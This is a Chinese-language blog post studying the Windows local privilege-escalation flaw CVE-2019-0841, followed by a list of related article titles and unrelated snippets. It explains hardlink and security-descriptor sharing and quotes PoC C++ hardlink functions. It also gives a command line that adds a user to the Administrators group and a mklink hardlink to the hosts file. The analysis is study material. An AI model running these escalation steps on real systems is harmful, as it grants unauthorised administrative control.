新Windows本地提权漏洞学习(CVE-2019-0841)
1、这是一个啥漏洞?
睁眼一看,妈呀本地提权,快加入本地提权漏洞利用包里,速度加入。github连接我就不发了。担心被认为是传播黑客工具,咱们在这里单纯学习一下漏洞的原理和部分源代码。
2、文件读写权限转命令执行权限!
为啥能提权,基本原理先说一下,这个漏洞可以让你拥有“文件读写权限转命令执行权限”的典型案例,利用一个低权限获取高权限文件的读写权限,即可利用恶意代码注入,劫持dll等方式赋予自己高权限或者劫持高权限,从而获得命令执行的权限。举个例子:有一个system的py脚本会定期运行,你没有这个脚本的完全控制权限,但是有读写权限,你可以在里面增加一部分代码,比如下面,那么你在执行的时候,你自己的xxx账号就变成了管理员权限了。
os.system("net localgroup Administrators xxx /add")
真正的效果如图(在其他电脑上截的图)
那么问题来了,这个漏洞是如和让你拥有这类文件的权限的呢,我们先来补一补Windows系统的基础知识。
3、硬链接与文件安全描述符
先来看看巨硬官网咋说
简单来说就是硬链接指向的还是原来的文件的文件描述符,所以安全描述符应该是在不同的硬链接、软链接、原文件之间共享的。所以这就是为啥修改硬链接的权限导致原文件的权限也会被修改,因为都是一个安全描述符啊。
我们尝试使用使用mklink来建立硬链接
mklink /h C:\1 C:\Windows\System32\drivers\etc\hosts
那么问题来了,我们需要在这个低权限账户下创建硬链接啊,不然怎么办,提权走这条路,卧槽,老子能提权还做这个干啥。这个事本身不就是提权嘛。查一波文档,mklink使用的系统API是CreateHardLink
也不行啊,怀疑这个系统API中有权限检查,我们来看一下PoC中的代码,找到CreateHardLink
bool CreateHardlink(_TCHAR* src, _TCHAR* dst) {
if (CreateNativeHardlink(src, dst))
{
//printf("[+] Done!\n");
return true;
}
else
{
printf("Error creating hardlink: %ls\n", GetErrorMessage().c_str());
return false;
}
}
嗯 ,这里使用了自定义函数CreateNativeHardLink
bool CreateNativeHardlink(LPCWSTR linkname, LPCWSTR targetname)
{
std::wstring full_linkname = BuildFullPath(linkname, true);
size_t len = full_linkname.size() * sizeof(WCHAR);
typed_buffer_ptr<FILE_LINK_INFORMATION> link_info(sizeof(FILE_LINK_INFORMATION) + len - sizeof(WCHAR));
memcpy(&link_info->FileName[0], full_linkname.c_str(), len);
link_info->ReplaceIfExists = TRUE;
link_info->FileNameLength = len;
std::wstring full_targetname = BuildFullPath(targetname, true);
HANDLE hFile = OpenFileNative(full_targetname.c_str(), nullptr, MAXIMUM_ALLOWED, FILE_SHARE_READ, 0);
if (hFile)
{
DEFINE_NTDLL(ZwSetInformationFile);
IO_STATUS_BLOCK io_status = { 0 };
NTSTATUS status = fZwSetInformationFile(hFile, &io_status, link_info, link_info.size(), FileLinkInformation);
CloseHandle(hFile);
if (NT_SUCCESS(status))
{
return true;
}
SetNtLastError(status);
}
return false;
}
看起来就是创建了一个硬链接,没有别的,这个过程没有看到身份认证和鉴权的操作,我理解应该是这里通过自己实现创建硬链接的函数来规避了权限检查啊,但是这个方面没有资料支撑,还需要进一步研究。
新Windows本地提权漏洞学习(CVE-2019-0841)的更多相关文章
- msf利用- windows内核提权漏洞
windows内核提权漏洞 环境: Kali Linux(攻击机) 192.168.190.141 Windows2003SP2(靶机) 192.168.190.147 0x01寻找可利用的exp 实 ...
- Linux Kernel ‘perf’ Utility 本地提权漏洞
漏洞名称: Linux Kernel ‘perf’ Utility 本地提权漏洞 CNNVD编号: CNNVD-201309-050 发布时间: 2013-09-09 更新时间: 2013-09-09 ...
- Linux Kernel ‘kvm_set_memory_region()’函数本地提权漏洞
漏洞名称: Linux Kernel ‘kvm_set_memory_region()’函数本地提权漏洞 CNNVD编号: CNNVD-201306-343 发布时间: 2013-06-20 更新时间 ...
- 基于RedHat发行的Apache Tomcat本地提权漏洞
描述 Tomcat最近总想搞一些大新闻,一个月都没到,Tomcat又爆出漏洞.2016年10月11日,网上爆出Tomcat本地提权漏洞,漏洞编号为CVE-2016-5425.此次受到影响的主要是基于R ...
- 【原创】深入分析Ubuntu本地提权漏洞CVE-2017-16995
*本文首发阿里云先知安全技术社区,原文链接https://xz.aliyun.com/t/2212 前言: 2018年3月中旬,Twitter 用户 @Vitaly Nikolenko 发布消息,称 ...
- CVE-2016-1240 Tomcat 服务本地提权漏洞
catalogue . 漏洞背景 . 影响范围 . 漏洞原理 . 漏洞PoC . 修复方案 1. 漏洞背景 Tomcat是个运行在Apache上的应用服务器,支持运行Servlet/JSP应用程序的容 ...
- CVE-2017-16995 Ubuntu16.04本地提权漏洞复现
0x01 前言 该漏洞由Google project zero发现.据悉,该漏洞存在于带有 eBPF bpf(2)系统(CONFIG_BPF_SYSCALL)编译支持的Linux内核中,是一个内存任意 ...
- Ubuntu16.04 本地提权漏洞复测过程
一.漏洞概述 Ubuntu 16.04 版本且unprivileged_bpf_disable 权限没有关闭的情况下就会存在 提权漏洞查看方式:1,cat /proc/version 查看系统版本 2 ...
- windows本地提权——2003笔记
windows主机 用户有三种:Users,Administrator,System 本地拥有administrator权限用户提权到system用户 win2003: at命令 系统调度任务的指令, ...
随机推荐
- flask内容学习之蓝图以及单元测试
蓝图的概念: 简单来说,蓝图是一个存储操作方法的容器.这些操作在这个蓝图被注册到一个应用之后就可以被调用.Flask可以通过蓝图来制止URL以及处理请求.Flask使用蓝图来让应用实现模块化,在Fla ...
- Vue(三)常用指令
(1) v-model 双向数据绑定,一般用于表单元素 <script> window.onload=function(){ new Vue({ // el:'.itany', el:'d ...
- 团队——League of Programers简介
团队名称 League of Programers 团队成员简介 武璧泽:编程能力较强,善于程序思路设计: 邹兰兰:擅长代码的分析.编写与调试: 倪彤炜:擅长解决代码的修正与编写,善于调节团队关系: ...
- ASCII到Unicode到UTF-8
1.很久以前使用的是ASCII:只有一个字节,也就是2的8次方,可以表示256个不同状态,电脑最初起源于美国,够用了,刚开始只是使用了127位,后来后面的部分被他们用来表示一些横线字符之类的128-2 ...
- Java入门学习笔记
Hello.java public class Hello { public static void main(String[] args) { System.out.println("He ...
- What is the NETStandard.Library metapackage?
In my last post, I took a quick look at the Microsoft.AspNetCore meta package. One of the libraries ...
- 利用Vmware 创建Linux虚拟机的方法
https://blog.csdn.net/qq_34929457/article/details/52663265 使用VMware新建一个Linux系统虚拟机 原创 2016年09月25日 17: ...
- 登录页面和FORM的职责不对称,处理方法,刷新工作流程
登录页面和FORM的职责不对称,处理方法,刷新工作流程:
- Unity3d如何profile模拟器
最近有反馈X2在一些模拟器中运行偶尔非常卡,达到5秒左右,而这类问题在真机上没出现过,于是想用unity profile下模拟器.但模拟器是运行在虚拟机里面的,市面上大多模拟器并没有提供虚拟机网络设置 ...
- TensorFlow保存和载入模型
首先定义一个tf.train.Saver类: saver = tf.train.Saver(max_to_keep=1) 其中,max_to_keep参数设定只保存最后一个参数,默认值是5,即保存最后 ...